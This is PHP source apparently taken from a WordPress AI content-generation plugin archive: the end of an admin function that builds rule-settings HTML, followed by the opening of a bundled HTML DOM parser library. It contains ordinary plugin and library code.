'post-format-link') { $output .= ' selected'; } $output .= '>' . esc_html__("Link", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-image"'; if ($post_format == 'post-format-image') { $output .= ' selected'; } $output .= '>' . esc_html__("Image", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-quote"'; if ($post_format == 'post-format-quote') { $output .= ' selected'; } $output .= '>' . esc_html__("Quote", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-status"'; if ($post_format == 'post-format-status') { $output .= ' selected'; } $output .= '>' . esc_html__("Status", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-video"'; if ($post_format == 'post-format-video') { $output .= ' selected'; } $output .= '>' . esc_html__("Video", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-audio"'; if ($post_format == 'post-format-audio') { $output .= ' selected'; } $output .= '>' . esc_html__("Audio", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-chat"'; if ($post_format == 'post-format-chat') { $output .= ' selected'; } $output .= '>' . esc_html__("Chat", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Parent ID", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_csv_list[parent_id][]" value="' . esc_attr($parent_id) . '" placeholder="Post parent ID" class="cr_width_full"> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This feature will try to remove the WordPress\'s default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Remove WP Default Post Category", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="remove_default" name="aiomatic_csv_list[remove_default][]"'; if($remove_default == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable comments for the generated posts?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable Comments For Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_comments" name="aiomatic_csv_list[enable_comments][]"'; if ($enable_comments == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to enable pingbacks and trackbacks for the generated posts?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable Pingback/Trackback", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_pingback" name="aiomatic_csv_list[enable_pingback][]"'; if ($enable_pingback == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( "Do you want to set a custom post publish date for posts? Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ) . ' </div> </div> <b>' . esc_html__("Set a Custom Post Publish Date Range", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="min_time" name="aiomatic_csv_list[min_time][]" value="' . esc_attr($min_time) . '" placeholder="Start time" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_csv_list[max_time][]" value="' . esc_attr($max_time) . '" placeholder="End time" class="cr_half"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Custom Fields", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_csv_list[custom_fields][]" placeholder="Please insert your desired custom fields. Example: title_custom_field => %%post_title%%" class="cr_width_full">' . esc_textarea($custom_fields) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Custom Taxonomies", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="1" cols="70" name="aiomatic_csv_list[custom_tax][]" placeholder="Please insert your desired custom taxonomies. Example: custom_taxonomy_name => %%post_title%%" class="cr_width_full">' . esc_textarea($custom_tax) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px">' . esc_html__("Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Assign WPML/Polylang Language to Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_csv_list[wpml_lang][]" value="' . esc_attr($wpml_lang) . '" placeholder="WPML/Polylang language" class="cr_width_full"> </div> </td></tr><tr><td colspan="2"><h3>' . esc_html__('Automatic Linking Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Automatic Linking Type", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="link_type' . esc_html($cont) . '" onchange="hideLinks(' . esc_html($cont) . ');" name="aiomatic_csv_list[link_type][]"> <option value="disabled"'; if ($link_type == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="internal"'; if ($link_type == 'internal') { $output .= ' selected'; } $output .= '>' . esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="manual"'; if ($link_type == 'manual') { $output .= ' selected'; } $output .= '>' . esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="mixed"'; if ($link_type == 'mixed') { $output .= ' selected'; } $output .= '>' . esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Number Of Automatic Links To Add To The Post Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_csv_list[max_links][]" placeholder="Add the number of links to enable this feature" class="cr_width_full" value="' . esc_attr($max_links) . '"> </div> </td></tr> <tr class="hidelinks' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Manual List Of URLs (One Per Line)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" cols="70" name="aiomatic_csv_list[link_list][]" placeholder="URL list (one per line)" class="cr_width_full">' . esc_textarea($link_list) . '</textarea> </div> </td></tr> <tr class="hidelinks' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Nofollow Attribute To Manual Links", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" name="aiomatic_csv_list[link_nofollow][]"'; if($link_nofollow == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Types Where To Generate Automatic Links", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_csv_list[link_post_types][]" placeholder="post" class="cr_width_full" value="' . esc_attr($link_post_types) . '"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Scheduling Restrictions', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Run This Rule On The Following Days Of The Week", 'aiomatic-automatic-ai-content-writer') . ':</b> <br/>' . esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s") . ' </td><td> <input type="text" class="cr_width_full" name="aiomatic_csv_list[days_no_run][]" value="' . esc_attr($days_no_run) . '" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </div> </td></tr> </table></div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3><span id="aiomatic_ok' . esc_html($cont) . '" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="wpaiomatic-delete">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_csv_list[active][]" class="activateDeactivateClass" value="1"'; if (isset($active) && $active === '1') { $output .= ' checked'; } $output .= '/> <input type="hidden" name="aiomatic_csv_list[last_run][]" value="' . esc_attr($last_run) . '"/> <input type="hidden" name="aiomatic_csv_list[rule_unique_id][]" value="' . esc_attr($rule_unique_id) . '"/></td> <td class="cr_shrt_td2"><div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( 'Shortcode for this rule<br/>(to cross-post from this plugin in other plugins):', 'aiomatic-automatic-ai-content-writer'), array( 'br' => array( ) ) ) ) . '<br/><b>%%aiomatic_4_' . esc_html($cont) . '%% and %%aiomatic_title_4_' . esc_html($cont) . '%%</b><br/>' . esc_html__('Posts Generated:', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($generated_posts) . '<br/>'; if ($generated_posts != 0) { $output .= '<a href="' . get_admin_url() . 'edit.php?coderevolution_post_source=Aiomatic_4_' . esc_html($cont) . '&post_type=' . esc_html($def_type) . '" target="_blank">' . esc_html__('View Generated Posts', 'aiomatic-automatic-ai-content-writer') . '</a><br/>'; } $output .= esc_html__('Last Run: ', 'aiomatic-automatic-ai-content-writer'); if ($last_run == '1988-01-27 00:00:00') { $output .= 'Never'; } else { $output .= $last_run; } $output .= '<br/>' . esc_html__('Next Run: ', 'aiomatic-automatic-ai-content-writer'); if($unlocker == '1') { $nextrun = aiomatic_add_minute($last_run, $schedule); } else { $nextrun = aiomatic_add_hour($last_run, $schedule); } $now = aiomatic_get_date_now(); if (isset($active) && $active === '1') { if($unlocker == '1') { $aiomatic_hour_diff = (int)aiomatic_minute_diff($now, $nextrun); } else { $aiomatic_hour_diff = (int)aiomatic_hour_diff($now, $nextrun); } if ($aiomatic_hour_diff >= 0) { if($unlocker == '1') { $append = 'Now.'; } else { $append = 'Now.'; } $cron = _get_cron_array(); if ($cron != FALSE) { $date_format = _x('Y-m-d H:i:s', 'Date Time Format1', 'aiomatic-automatic-ai-content-writer'); foreach ($cron as $timestamp => $cronhooks) { foreach ((array) $cronhooks as $hook => $events) { if ($hook == 'aiomaticaction') { foreach ((array) $events as $key => $event) { $append = date_i18n($date_format, $timestamp); } } } } } $output .= $append; } else { $output .= $nextrun; } } else { $output .= esc_html__('Rule Disabled', 'aiomatic-automatic-ai-content-writer'); } $output .= '<br/>' . esc_html__('Local Time: ', 'aiomatic-automatic-ai-content-writer') . $now; $output .= '</div> </div></td> <td class="cr_center"> <div> <img id="run_img' . esc_html($cont) . '" src="' . plugin_dir_url(dirname(__FILE__)) . 'images/running.gif' . '" alt="Running" class="cr_status_icon'; if (!empty($running)) { if (!in_array(array($cont => 4), $running)) { $f = fopen(get_temp_dir() . 'aiomatic_4_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_4_' . $cont); } $output .= ' cr_hidden'; } else { $f = fopen(get_temp_dir() . 'aiomatic_4_' . $cont, 'w'); if($f !== false) { if (!flock($f, LOCK_EX | LOCK_NB)) { } else { $output .= ' cr_hidden'; flock($f, LOCK_UN); if (($xxkey = array_search(array($cont => 4), $running)) !== false) { unset($running[$xxkey]); update_option('aiomatic_running_list', $running); } } } } } else { $f = fopen(get_temp_dir() . 'aiomatic_4_' . $cont, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete(get_temp_dir() . 'aiomatic_4_' . $cont); } $output .= ' cr_hidden'; } $output .= '" title="status"> <div class="codemainfzr cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" onchange="actionsChangedManual(' . esc_html($cont) . ', this.value, 4, \'' . esc_html($rule_unique_id) . '\');" onfocus="this.selectedIndex = 0;"> <option value="select" disabled selected>' . esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="run">' . esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="duplicate">' . esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="up">' . esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="down">' . esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash">' . esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="delete">' . esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </div> </td> </tr> '; $cont = $cont + 1; } } return $output; } ?>����������������������������������������������������������������������������������������������res/simple_html_dom.php�����������������������������������������������������������������������������0000644�����������������00000200506�14757771437�0011253 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Website: http://sourceforge.net/projects/simplehtmldom/ * Additional projects that may be used: http://sourceforge.net/projects/debugobject/ * Acknowledge: Jose Solorzano (https://sourceforge.net/projects/php-html/) * Contributions by: * Yousuke Kumakura (Attribute filters) * Vadim Voituk (Negative indexes supports of "find" method) * Antcs (Constructor with automatically load contents either text or file/url) * * all affected sections have comments starting with "PaperG" * * Paperg - Added case insensitive testing of the value of the selector. * Paperg - Added tag_start for the starting index of tags - NOTE: This works but not accurately. * This tag_start gets counted AFTER \r\n have been crushed out, and after the remove_noice calls so it will not reflect the REAL position of the tag in the source, * it will almost always be smaller by some amount. * We use this to determine how far into the file the tag in question is. This "percentage will never be accurate as the $dom->size is the "real" number of bytes the dom was created from. * but for most purposes, it's a really good estimation. * Paperg - Added the forceTagsClosed to the dom constructor. Forcing tags closed is great for malformed html, but it CAN lead to parsing errors. * Allow the user to tell us how much they trust the html. * Paperg add the text and plaintext to the selectors for the find syntax. plaintext implies text in the innertext of a node. text implies that the tag is a text node. * This allows for us to find tags based on the text they contain. * Create find_ancestor_tag to see if a tag is - at any level - inside of another specific tag. * Paperg: added parse_charset so that we know about the character set of the source document. * NOTE: If the user's system has a routine called get_last_retrieve_url_contents_content_type availalbe, we will assume it's returning the content-type header from the * last transfer or curl_exec, and we will parse that and use it in preference to any other method of charset detection. * * Found infinite loop in the case of broken html in restore_noise. Rewrote to protect from that. * PaperG (John Schlick) Added get_display_size for "IMG" tags. * * Licensed under The MIT License * Redistributions of files must retain the above copyright notice. * * @author S.C. Chen <me578022@gmail.com> * @author John Schlick * @author Rus Carroll * @version Rev. 1.7 (214) * @package PlaceLocalInclude * @subpackage aiomatic_simple_html_dom */ /** * All of the Defines for the classes below. * @author S.C. Chen <me578022@gmail.com> */ define('HDOM_TYPE_ELEMENT', 1); define('HDOM_TYPE_COMMENT', 2); define('HDOM_TYPE_TEXT', 3); define('HDOM_TYPE_ENDTAG', 4); define('HDOM_TYPE_ROOT', 5); define('HDOM_TYPE_UNKNOWN', 6); define('HDOM_QUOTE_DOUBLE', 0); define('HDOM_QUOTE_SINGLE', 1); define('HDOM_QUOTE_NO', 3); define('HDOM_INFO_BEGIN', 0); define('HDOM_INFO_END', 1); define('HDOM_INFO_QUOTE', 2); define('HDOM_INFO_SPACE', 3); define('HDOM_INFO_TEXT', 4); define('HDOM_INFO_INNER', 5); define('HDOM_INFO_OUTER', 6); define('HDOM_INFO_ENDSPACE',7); define('DEFAULT_TARGET_CHARSET', 'UTF-8'); define('DEFAULT_BR_TEXT', "\r\n"); define('DEFAULT_SPAN_TEXT', " "); define('MAX_FILE_SIZE', 10485760); /** Contents between curly braces "{" and "}" are interpreted as text */ define('HDOM_SMARTY_AS_TEXT', 1); // helper functions // ----------------------------------------------------------------------------- // get html dom from file // $maxlen is defined in the code as PHP_STREAM_COPY_ALL which is defined as -1. function aiomatic_file_get_html($url, $use_include_path = false, $context=null, $offset = 0, $maxLen=-1, $lowercase = true, $forceTagsClosed=true, $target_charset = DEFAULT_TARGET_CHARSET, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT) { // Ensure maximum length is greater than zero if($maxLen <= 0) { $maxLen = MAX_FILE_SIZE; } // We DO force the tags to be terminated. $dom = new aiomatic_simple_html_dom(null, $lowercase, $forceTagsClosed, $target_charset, $stripRN, $defaultBRText, $defaultSpanText); // For sourceforge users: uncomment the next line and comment the retrieve_url_contents line 2 lines down if it is not already done. global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $contents = $wp_filesystem->get_contents($url); // Paperg - use our own mechanism for getting the contents as we want to control the timeout. if (empty($contents) || strlen($contents) > $maxLen) { return false; } // The second parameter can force the selectors to all be lowercase. $dom->load($contents, $lowercase, $stripRN); return $dom; } // get html dom from string function aiomatic_str_get_html($str, $lowercase=true, $forceTagsClosed=true, $target_charset = DEFAULT_TARGET_CHARSET, $stripRN=true, $defaultBRText=DEFAULT_BR_TEXT, $defaultSpanText=DEFAULT_SPAN_TEXT) { $dom = new aiomatic_simple_html_dom(null, $lowercase, $forceTagsClosed, $target_charset, $stripRN, $defaultBRText, $defaultSpanText); if (empty($str) || strlen($str) > MAX_FILE_SIZE) { $dom->clear(); return false; } $dom->load($str, $lowercase, $stripRN); return $dom; } // dump html dom tree function aiomatic_dump_html_tree($node, $show_attr=true, $deep=0) { $node->dump($node); } /** * simple html dom node * PaperG - added ability for "find" routine to lowercase the value of the selector. * PaperG - added $tag_start to track the start position of the tag in the total byte index * * @package PlaceLocalInclude */ class aiomatic_simple_html_dom_node { /** * Node type * * Default is {@see HDOM_TYPE_TEXT} * * @var int */ public $nodetype = HDOM_TYPE_TEXT; /** * Tag name * * Default is 'text' * * @var string */ public $tag = 'text'; /** * List of attributes * * @var array */ public $attr = array(); /** * List of child node objects * * @var array */ public $children = array(); public $nodes = array(); /** * The parent node object * * @var object|null */ public $parent = null; // The "info" array - see HDOM_INFO_... for what each element contains. public $_ = array(); /** * Start position of the tag in the document * * @var int */ public $tag_start = 0; /** * The DOM object * * @var object|null */ private $dom = null; /** * Construct new node object * * Adds itself to the list of DOM Nodes {@see aiomatic_simple_html_dom::$nodes} */ function __construct($dom) { $this->dom = $dom; $dom->nodes[] = $this; } function __destruct() { $this->clear(); } function __toString() { return $this->outertext(); } // clean up memory due to php5 circular references memory leak... function clear() { $this->dom = null; $this->nodes = null; $this->parent = null; $this->children = null; } // dump node's tree function dump($show_attr=true, $deep=0) { $lead = str_repeat(' ', $deep); echo $lead.$this->tag; if ($show_attr && count($this->attr)>0) { echo '('; foreach ($this->attr as $k=>$v) echo "[$k]=>\"".$this->$k.'", '; echo ')'; } echo "\n"; if ($this->nodes) { foreach ($this->nodes as $c) { $c->dump($show_attr, $deep+1); } } } // Debugging function to dump a single dom node with a bunch of information about it. function dump_node($echo=true) { $string = $this->tag; if (count($this->attr)>0) { $string .= '('; foreach ($this->attr as $k=>$v) { $string .= "[$k]=>\"".$this->$k.'", '; } $string .= ')'; } if (count($this->_)>0) { $string .= ' $_ ('; foreach ($this->_ as $k=>$v) { if (is_array($v)) { $string .= "[$k]=>("; foreach ($v as $k2=>$v2) { $string .= "[$k2]=>\"".$v2.'", '; } $string .= ")"; } else { $string .= "[$k]=>\"".$v.'", '; } } $string .= ")"; } if (isset($this->text)) { $string .= " text: (" . $this->text . ")"; } $string .= " HDOM_INNER_INFO: '"; if (isset($node->_[HDOM_INFO_INNER])) { $string .= $node->_[HDOM_INFO_INNER] . "'"; } else { $string .= ' NULL '; } $string .= " children: " . count($this->children); $string .= " nodes: " . count($this->nodes); $string .= " tag_start: " . $this->tag_start; $string .= "\n"; if ($echo) { echo $string; return; } else { return $string; } } /** * Return or set parent node * * @param object|null $parent (optional) The parent node, `null` to return * the current parent node. * @return object|null The parent node */ function parent($parent=null) { // I am SURE that this doesn't work properly. // It fails to unset the current node from it's current parents nodes or children list first. if ($parent !== null) { $this->parent = $parent; $this->parent->nodes[] = $this; $this->parent->children[] = $this; } return $this->parent; } /** * @return bool True if the node has at least one child node */ function has_child() { return !empty($this->children); } /** * Get child node at specified index * * @param int $idx The index of the child node to return, `-1` to return all * child nodes. * @return object|array|null The child node at the specified index, all child * nodes or null if the index is invalid. */ function children($idx=-1) { if ($idx===-1) { return $this->children; } if (isset($this->children[$idx])) { return $this->children[$idx]; } return null; } /** * Get first child node * * @return object|null The first child node or null if the current node has * no child nodes. * * @todo Use `empty()` instead of `count()` to improve performance on large * arrays. */ function first_child() { if (count($this->children)>0) { return $this->children[0]; } return null; } /** * Get last child node * * @return object|null The last child node or null if the current node has * no child nodes. * * @todo Use `end()` to slightly improve performance on large arrays. */ function last_child() { if (($count=count($this->children))>0) { return $this->children[$count-1]; } return null; } /** * Get next sibling node * * @return object|null The sibling node or null if the current node has no * sibling nodes. */ function next_sibling() { if ($this->parent===null) { return null; } $idx = 0; $count = count($this->parent->children); while ($idx<$count && $this!==$this->parent->children[$idx]) { ++$idx; } if (++$idx>=$count) { return null; } return $this->parent->children[$idx]; } /** * Get previous sibling node * * @return object|null The sibling node or null if the current node has no * sibling nodes. */ function prev_sibling() { if ($this->parent===null) return null; $idx = 0; $count = count($this->parent->children); while ($idx<$count && $this!==$this->parent->children[$idx]) ++$idx; if (--$idx<0) return null; return $this->parent->children[$idx]; } /** * Traverse ancestors to the first matching tag. * * @param string $tag Tag to find * @return object|null First matching node in the DOM tree or null if no * match was found. * * @todo Null is returned implicitly by calling ->parent on the root node. * This behaviour could change at any time, rendering this function invalid. */ function find_ancestor_tag($tag) { global $debug_object; if (is_object($debug_object)) { $debug_object->debug_log_entry(1); } // Start by including ourselves in the comparison. $returnDom = $this; while (!is_null($returnDom)) { if (is_object($debug_object)) { $debug_object->debug_log(2, "Current tag is: " . $returnDom->tag); } if ($returnDom->tag == $tag) { break; } $returnDom = $returnDom->parent; } return $returnDom; } /** * Get node's inner text (everything inside the opening and closing tags) * * @return string */ function innertext() { if (isset($this->_[HDOM_INFO_INNER])) return $this->_[HDOM_INFO_INNER]; if (isset($this->_[HDOM_INFO_TEXT])) return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); $ret = ''; foreach ($this->nodes as $n) $ret .= $n->outertext(); return $ret; } /** * Get node's outer text (everything including the opening and closing tags) * * @return string */ function outertext() { global $debug_object; if (is_object($debug_object)) { $text = ''; if ($this->tag == 'text') { if (!empty($this->text)) { $text = " with text: " . $this->text; } } $debug_object->debug_log(1, 'Innertext of tag: ' . $this->tag . $text); } if ($this->tag==='root') return $this->innertext(); // trigger callback if ($this->dom && $this->dom->callback!==null) { call_user_func_array($this->dom->callback, array($this)); } if (isset($this->_[HDOM_INFO_OUTER])) return $this->_[HDOM_INFO_OUTER]; if (isset($this->_[HDOM_INFO_TEXT])) return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); // render begin tag if ($this->dom && $this->dom->nodes[$this->_[HDOM_INFO_BEGIN]]) { $ret = $this->dom->nodes[$this->_[HDOM_INFO_BEGIN]]->makeup(); } else { $ret = ""; } // render inner text if (isset($this->_[HDOM_INFO_INNER])) { // If it's a br tag... don't return the HDOM_INNER_INFO that we may or may not have added. if ($this->tag != "br") { $ret .= $this->_[HDOM_INFO_INNER]; } } else { if ($this->nodes) { foreach ($this->nodes as $n) { $ret .= $this->convert_text($n->outertext()); } } } // render end tag if (isset($this->_[HDOM_INFO_END]) && $this->_[HDOM_INFO_END]!=0) $ret .= '</'.$this->tag.'>'; return $ret; } /** * Get node's plain text (everything excluding all tags) * * @return string */ function text() { if (isset($this->_[HDOM_INFO_INNER])) return $this->_[HDOM_INFO_INNER]; switch ($this->nodetype) { case HDOM_TYPE_TEXT: return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); case HDOM_TYPE_COMMENT: return ''; case HDOM_TYPE_UNKNOWN: return ''; } if (strcasecmp($this->tag, 'script')===0) return ''; if (strcasecmp($this->tag, 'style')===0) return ''; $ret = ''; // In rare cases, (always node type 1 or HDOM_TYPE_ELEMENT - observed for some span tags, and some p tags) $this->nodes is set to NULL. // NOTE: This indicates that there is a problem where it's set to NULL without a clear happening. // WHY is this happening? if (!is_null($this->nodes)) { foreach ($this->nodes as $n) { // Start paragraph after a blank line if ($n->tag == 'p') { $ret .= "\n\n"; } $ret .= $this->convert_text($n->text()); // If this node is a span... add a space at the end of it so multiple spans don't run into each other. This is plaintext after all. if ($n->tag == "span") { $ret .= $this->dom->default_span_text; } } } return trim($ret); } /** * Get node's xml text (inner text as a CDATA section) * * @return string */ function xmltext() { $ret = $this->innertext(); $ret = str_ireplace('<![CDATA[', '', $ret); $ret = str_replace(']]>', '', $ret); return $ret; } // build node's text with tag function makeup() { // text, comment, unknown if (isset($this->_[HDOM_INFO_TEXT])) return $this->dom->restore_noise($this->_[HDOM_INFO_TEXT]); $ret = '<'.$this->tag; $i = -1; foreach ($this->attr as $key=>$val) { ++$i; // skip removed attribute if ($val===null || $val===false) continue; $ret .= $this->_[HDOM_INFO_SPACE][$i][0]; //no value attr: nowrap, checked selected... if ($val===true) $ret .= $key; else { switch ($this->_[HDOM_INFO_QUOTE][$i]) { case HDOM_QUOTE_DOUBLE: $quote = '"'; break; case 